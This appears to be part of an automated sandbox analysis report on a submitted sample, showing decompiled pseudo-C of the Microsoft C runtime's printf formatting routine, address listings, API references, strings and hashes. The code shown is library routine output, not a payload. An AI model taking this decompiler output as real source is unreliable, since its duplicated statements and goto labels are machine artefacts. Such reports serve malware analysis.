																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430780( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E00430800( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041E210();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D00(_t574))) = 0x16;
										E00422A90(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041ACB0(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041E210();
									_t630 = _t630 + 0x14;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041ACB0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L00422D00(_t561))) = 0x16;
									E00422A90(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041ACB0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
						__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041ACB0(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E0042BCB0(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00434cd7
0x00434cd7
0x00434cd7
0x00434cd7
0x00434cd7
0x00434cd7
0x00434cdb
0x00434ce0
0x00434ce3
0x00434cf0
0x00000000
0x00000000
0x00434cf6
0x00434cf6
0x00434cf8
0x00434d06
0x00434cfa
0x00434cfa
0x00434cfa
0x00434d10
0x00434d16
0x00434d23
0x00434d25
0x00434d2a
0x00434d2c
0x00434d31
0x00434d36
0x00434d38
0x00434d3d
0x00434d43
0x00434d45
0x00434d45
0x00434d43
0x00434d4d
0x00434d95
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x0043528c
0x00435292
0x0043529c
0x004352b1
0x004352c6
0x004352c8
0x004352cc
0x004352cc
0x004352b3
0x004352b3
0x004352b7
0x004352b7
0x0043529e
0x0043529e
0x004352a2
0x004352a2
0x0043529c
0x004352dc
0x004352e8
0x004352fe
0x00435303
0x00435303
0x00435319
0x0043531e
0x00435327
0x0043532f
0x00435345
0x0043534a
0x0043534a
0x0043532f
0x00435351
0x00435425
0x00435438
0x0043543d
0x00000000
0x00435357
0x00435357
0x0043535b
0x00000000
0x00000000
0x00435361
0x00435361
0x0043536e
0x00435377
0x0043537d
0x0043537d
0x0043538c
0x00435394
0x00000000
0x00000000
0x0043539a
0x004353a3
0x004353c2
0x004353c7
0x004353ca
0x004353d9
0x004353e6
0x004353f1
0x004353f1
0x00000000
0x004353f1
0x004353e8
0x004353ef
0x004353fd
0x00435416
0x0043541b
0x00000000
0x0043541b
0x00000000
0x004353ef
0x00435423
0x00435440
0x00435447
0x0043544f
0x00435465
0x0043546a
0x0043546a
0x0043544f
0x00435447
0x0043546d
0x00435471
0x00435479
0x0043547e
0x00435481
0x00435481
0x00435488
0x00435488
0x0043455f
0x00434565
0x00434572
0x00434577
0x00000000
0x0043458a
0x00434594
0x004345bb
0x004345a2
0x004345b3
0x004345b3
0x00434594
0x004345c5
0x004345cb
0x004345d7
0x004345da
0x004345e8
0x004345eb
0x004345f8
0x0043469d
0x004346a3
0x004346b0
0x00000000
0x00000000
0x004346b6
0x004346bc
0x00000000
0x004346c3
0x004346c3
0x004346db
0x004346e0
0x004346e3
0x004346e5
0x0043479f
0x004347b2
0x004347b7
0x00000000
0x004346eb
0x004346fe
0x00434703
0x00434709
0x0043470b
0x00434714
0x00434714
0x00434717
0x00434723
0x00434727
0x0043472d
0x0043472f
0x00434734
0x00434736
0x0043473b
0x00434740
0x00434742
0x00434747
0x0043474a
0x0043474d
0x0043474f
0x0043474f
0x0043474d
0x00434750
0x00434750
0x00434757
0x00000000
0x00434759
0x0043475e
0x0043477a
0x00434782
0x0043478f
0x00434794
0x00000000
0x00434794
0x00434757
0x00000000
0x004347bf
0x004347bf
0x004347c6
0x004347c9
0x004347cc
0x004347cf
0x004347d2
0x004347d5
0x004347d8
0x004347df
0x004347e6
0x00000000
0x00000000
0x004347f2
0x004347f2
0x004347f9
0x00434805
0x00434808
0x0043480e
0x00434815
0x00000000
0x00000000
0x00434817
0x00434817
0x0043481d
0x0043481d
0x00434824
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434867
0x00434867
0x0043486e
0x00434871
0x0043489b
0x0043489e
0x0043489e
0x004348a1
0x004348a8
0x004348a8
0x004348ac
0x00434873
0x00434873
0x0043487f
0x00434882
0x00434886
0x00434888
0x0043488b
0x0043488b
0x0043488e
0x00434894
0x00434896
0x00434896
0x00434899
0x00000000
0x00000000
0x004348b4
0x004348b4
0x00000000
0x00000000
0x004348c0
0x004348c0
0x004348c7
0x004348ca
0x004348ea
0x004348ed
0x004348ed
0x004348f7
0x004348f7
0x004348fb
0x004348cc
0x004348cc
0x004348d8
0x004348db
0x004348df
0x004348e1
0x004348e1
0x004348e8
0x00000000
0x00000000
0x00434903
0x00434903
0x0043490a
0x00434916
0x00434919
0x0043491f
0x00434926
0x00434a39
0x00000000
0x00434a39
0x0043492c
0x0043492c
0x00434932
0x00434932
0x00434939
0x00000000
0x0043496f
0x0043496f
0x00434972
0x00434975
0x00434978
0x004349a0
0x004349a0
0x004349a3
0x004349a6
0x004349a9
0x004349ce
0x004349ce
0x004349d1
0x004349d4
0x004349d7
0x00434a10
0x00434a21
0x00000000
0x00434a21
0x004349d9
0x004349d9
0x004349dc
0x004349df
0x004349e2
0x00000000
0x00000000
0x004349e4
0x004349e4
0x004349e7
0x004349ea
0x004349ed
0x00000000
0x00000000
0x004349ef
0x004349ef
0x004349f2
0x004349f5
0x004349f8
0x00000000
0x00000000
0x004349fa
0x004349fa
0x004349fd
0x00434a00
0x00434a03
0x00000000
0x00000000
0x00434a05
0x00434a05
0x00434a08
0x00434a0b
0x00434a0e
0x00434a12
0x00000000
0x00434a12
0x00000000
0x00434a0e
0x004349ab
0x004349ab
0x004349ae
0x004349b2
0x004349b5
0x00000000
0x004349b7
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x004349c9
0x00000000
0x004349c9
0x004349b5
0x0043497a
0x0043497a
0x0043497d
0x00434981
0x00434984
0x00000000
0x00434986
0x00434989
0x0043498c
0x0043498f
0x00434992
0x00434998
0x00000000
0x00434998
0x00000000
0x00434a23
0x00434a26
0x00434a29
0x00000000
0x00000000
0x00434940
0x00434940
0x00434943
0x00434946
0x00434949
0x00434961
0x00434964
0x00434964
0x00434967
0x0043494b
0x0043494e
0x00434951
0x00434957
0x0043495c
0x0043495c
0x00000000
0x00000000
0x00434a2e
0x00434a2e
0x00434a31
0x00434a31
0x00434a36
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a3e
0x00434a3e
0x00434a45
0x00434a51
0x00434a54
0x00434a5a
0x00434a61
0x00000000
0x00435282
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x0043523c
0x0043523f
0x00435242
0x00435245
0x00435248
0x0043524b
0x00435251
0x00435251
0x00435251
0x00435259
0x0043525d
0x00000000
0x00000000
0x0043525f
0x0043525f
0x00435262
0x00435265
0x00435265
0x0043526a
0x0043526d
0x00435270
0x00435273
0x00435276
0x00435279
0x0043527c
0x0043527c
0x0043527f
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00434a67
0x00434a6d
0x00434a6d
0x00434a74
0x00000000
0x00434dce
0x00434dce
0x00434dd5
0x00434ddc
0x00434ddc
0x00434ddf
0x00000000
0x00000000
0x00434a7b
0x00434a7e
0x00434a7e
0x00434a84
0x00434a86
0x00434a89
0x00434a89
0x00434a8e
0x00434a8e
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bbe
0x00434bc3
0x00434bc5
0x00434bc8
0x00434bc8
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434f9b
0x00434f9b
0x00000000
0x00000000
0x00434b25
0x00434b25
0x00434b31
0x00434b37
0x00434b3e
0x00434b4c
0x00434b4c
0x00434b52
0x00434b55
0x00434b61
0x00434bb6
0x00000000
0x00434bb6
0x00434b40
0x00434b40
0x00434b46
0x00434b4a
0x00434b66
0x00434b69
0x00434b69
0x00434b6f
0x00434b97
0x00434b9e
0x00434ba4
0x00434ba7
0x00434baa
0x00434bb0
0x00434bb3
0x00434b71
0x00434b71
0x00434b77
0x00434b7a
0x00434b7d
0x00434b83
0x00434b86
0x00434b89
0x00434b8b
0x00434b8e
0x00434b8e
0x00000000
0x00434b6f
0x00000000
0x00000000
0x00434de5
0x00434de8
0x00434deb
0x00434dee
0x00434df4
0x00434df7
0x00434dfe
0x00434e02
0x00434e0d
0x00434e0d
0x00434e11
0x00434e28
0x00434e28
0x00434e2f
0x00434e31
0x00434e31
0x00434e38
0x00434e38
0x00434e3f
0x00434e50
0x00434e5f
0x00434e62
0x00434e66
0x00434e7c
0x00434e68
0x00434e68
0x00434e6b
0x00434e71
0x00434e77
0x00434e77
0x00434e66
0x00434e86
0x00434e89
0x00434e8c
0x00434e8f
0x00434e92
0x00434e95
0x00434e9b
0x00434ea1
0x00434ea9
0x00434eaa
0x00434ead
0x00434eae
0x00434eb1
0x00434eb2
0x00434eb9
0x00434eba
0x00434ebd
0x00434ebe
0x00434ec1
0x00434ec2
0x00434ec8
0x00434ec9
0x00434ed7
0x00434ed9
0x00434edf
0x00434edf
0x00434ee5
0x00434ee7
0x00434eeb
0x00434eed
0x00434ef5
0x00434ef6
0x00434ef9
0x00434efa
0x00434f08
0x00434f0a
0x00434f0a
0x00434eeb
0x00434f0d
0x00434f14
0x00434f17
0x00434f1c
0x00434f1c
0x00434f22
0x00434f24
0x00434f2c
0x00434f2d
0x00434f30
0x00434f31
0x00434f40
0x00434f42
0x00434f42
0x00434f22
0x00434f45
0x00434f48
0x00434f4b
0x00434f4e
0x00434f53
0x00434f59
0x00434f5c
0x00434f5f
0x00434f5f
0x00434f62
0x00434f62
0x00434f65
0x00434f71
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00435282
0x00434e13
0x00434e13
0x00434e1a
0x00434e1d
0x00000000
0x00000000
0x00434e1f
0x00434e1f
0x00000000
0x00434e1f
0x00434e04
0x00434e04
0x00000000
0x00000000
0x00434a91
0x00434a94
0x00434a94
0x00434a9a
0x00434af5
0x00434afd
0x00434b04
0x00434b0a
0x00434b10
0x00434a9c
0x00434a9c
0x00434aa6
0x00434aaa
0x00434ab2
0x00434ab9
0x00434ac6
0x00434acd
0x00434ad9
0x00434adf
0x00434ae6
0x00434ae8
0x00434ae8
0x00434aef
0x00434b17
0x00434b1d
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00434f79
0x00434f7c
0x00434f7f
0x00434f82
0x00000000
0x00000000
0x00000000
0x00000000
0x00434fdc
0x00434fdc
0x00434fe6
0x00434fe6
0x00434fec
0x00434fee
0x00434ff1
0x00434ff1
0x00434ff7
0x00434ff7
0x00000000
0x00000000
0x00434f94
0x00434f94
0x00000000
0x00000000
0x00434bd1
0x00434bd1
0x00434bd5
0x00434be3
0x00434be6
0x00434bd7
0x00434bd7
0x00434bd7
0x00434bec
0x00434bf2
0x00434bf8
0x00434c04
0x00434c0a
0x00434c0a
0x00434c10
0x00434c77
0x00434c77
0x00434c7b
0x00434c7d
0x00434c83
0x00434c83
0x00434c86
0x00434c89
0x00434c8f
0x00434c8f
0x00434c8f
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca6
0x00000000
0x00000000
0x00434ca8
0x00434ca8
0x00434cae
0x00434cb1
0x00434cb3
0x00000000
0x00000000
0x00434cb5
0x00434cbb
0x00434cbe
0x00434cbe
0x00434cc6
0x00434cc6
0x00434ccc
0x00434ccc
0x00434ccf
0x00000000
0x00434c12
0x00434c12
0x00434c12
0x00434c16
0x00434c18
0x00434c1d
0x00434c1d
0x00434c20
0x00434c27
0x00434c2a
0x00434c30
0x00434c30
0x00434c30
0x00434c3c
0x00434c3f
0x00434c45
0x00434c47
0x00000000
0x00000000
0x00434c49
0x00434c49
0x00434c4f
0x00434c52
0x00434c54
0x00000000
0x00000000
0x00434c56
0x00434c5c
0x00434c5f
0x00434c5f
0x00434c67
0x00434c6d
0x00434c70
0x00434c72
0x00434cd2
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00000000
0x00434f8b
0x00434f8b
0x00000000
0x00000000
0x00434fa7
0x00434fa7
0x00434fb1
0x00434fb1
0x00434fbb
0x00434fbb
0x00434fc1
0x00434fc3
0x00434fcd
0x00434fcd
0x00434fd0
0x00434fd3
0x00434fd3
0x00434ffa
0x00434ffd
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350b6
0x004350ba
0x004350c2
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509b
0x0043509f
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435075
0x00435081
0x00435084
0x00435085
0x0043508b
0x00435059
0x00435059
0x0043505d
0x00435065
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x0043502c
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435004
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d3
0x004350d6
0x00435118
0x00435118
0x0043511e
0x00435124
0x0043512a
0x00000000
0x004350d8
0x004350d8
0x004350d8
0x004350df
0x00000000
0x00000000
0x004350e1
0x004350e1
0x004350ec
0x004350f2
0x004350f4
0x004350fa
0x004350fd
0x004350ff
0x00435105
0x0043510e
0x00435113
0x00435130
0x00435133
0x00435133
0x00435138
0x0043513d
0x0043513d
0x00435143
0x00435145
0x0043514b
0x00435151
0x00435151
0x0043515a
0x0043515a
0x00435143
0x00435160
0x00435164
0x00435172
0x00435175
0x00435178
0x0043517f
0x00435181
0x00435181
0x00435166
0x00435166
0x00435166
0x0043518e
0x0043518e
0x00435194
0x00435196
0x00435196
0x0043519d
0x004351a0
0x004351a3
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x004351b3
0x004351b9
0x004351b9
0x004351bf
0x00000000
0x00000000
0x004351c1
0x004351c1
0x004351c4
0x004351c7
0x004351ce
0x004351d5
0x004351dd
0x004351e3
0x004351e6
0x004351e9
0x004351f0
0x004351fc
0x00435202
0x00435208
0x0043520f
0x00435211
0x00435217
0x00435217
0x0043521d
0x0043521d
0x00435223
0x00435226
0x0043522c
0x00435231
0x00435234
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x00000000
0x004351b1
0x004351a3
0x004350e3
0x004350e3
0x004350ea
0x00000000
0x00000000
0x00000000
0x004350ea
0x00000000
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00000000
0x00434841
0x00434844
0x00434847
0x00000000
0x00000000
0x0043484c
0x0043484f
0x00434854
0x00000000
0x00000000
0x00434836
0x00434836
0x00434839
0x0043483c
0x00000000
0x00000000
0x0043482b
0x0043482e
0x00434831
0x00000000
0x00000000
0x00434859
0x00434859
0x0043485c
0x0043485c
0x0043485f
0x00000000
0x00000000
0x00434862
0x00000000
0x00000000
0x004345fe
0x00434600
0x0043460e
0x00434602
0x00434602
0x00434602
0x00434618
0x0043461e
0x0043462b
0x0043462d
0x00434632
0x00434634
0x00434639
0x0043463e
0x00434640
0x00434645
0x0043464b
0x0043464d
0x0043464d
0x0043464b
0x0043464e
0x00434655
0x00000000
0x00434657
0x0043465c
0x00434678
0x00434680
0x0043468d
0x00434692
0x00000000
0x00434692
0x00434655
0x004345f8
0x0043548d
0x00435494
0x004354ab
0x004354ab
0x004354b5
0x004354b5
0x004354bb
0x004354c8
0x004354ca
0x004354cf
0x004354d1
0x004354d6
0x004354db
0x004354dd
0x004354e2
0x004354e8
0x004354ea
0x004354ea
0x004354e8
0x004354f2
0x0043553d
0x00435546
0x0043554b
0x004354f4
0x004354f9
0x00435515
0x0043551d
0x0043552a
0x0043552f
0x0043552f
0x00000000
0x004354f2
0x00435496
0x0043549d
0x00000000
0x00000000
0x0043549f
0x0043549f
0x00000000
0x0043549f
0x00434d4f
0x00434d4f
0x00434d54
0x00434d70
0x00434d78
0x00434d82
0x00434d85
0x00434d8a
0x00435551
0x0043555e
0x0043555e
0x00434d9a
0x00434da0
0x00434dc0
0x00434da2
0x00434daf
0x00434daf
0x00434dc2
0x00000000
0x00434dc2

APIs

_get_int_arg.LIBCMTD ref: 00434CDB
__get_printf_count_output.LIBCMTD ref: 00434CE9
__invalid_parameter.LIBCMTD ref: 00434D70
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434D85
_write_multi_char.LIBCMTD ref: 004352FE
_write_string.LIBCMTD ref: 00435319
_write_multi_char.LIBCMTD ref: 00435345
_wctomb_s.LIBCMTD ref: 004353C2

Strings

-, xrefs: 0043529E
_output_s_l, xrefs: 0043466E, 00434D66
("'n' format specifier disabled", 0), xrefs: 00434D25, 00434D6B
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434639, 00434669, 00434D31, 00434D61
("Incorrect format specifier", 0), xrefs: 0043462D, 00434673

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: e821429edb126f05b6bde7abf53363d7098767fdcd71a20d00b335d10c1c49f1
Instruction ID: a6c9dc9ab6910d1b26c42a61757604ec6bee45090a01c9057e7bf52101db87d2
Opcode Fuzzy Hash: e821429edb126f05b6bde7abf53363d7098767fdcd71a20d00b335d10c1c49f1
Instruction Fuzzy Hash: 62A1AD70D016289BDF24DF55CC49BEEB7B0AB88305F2091DAE5197B281E6789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BF7A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BF7A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E00428360(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00433F00() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E210();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043C970(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043C9B0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043C970(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043C9B0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041ACE0(_t600 - 0x40);
									_t523 = E0043B410(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043C910( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043C970(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C3D0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
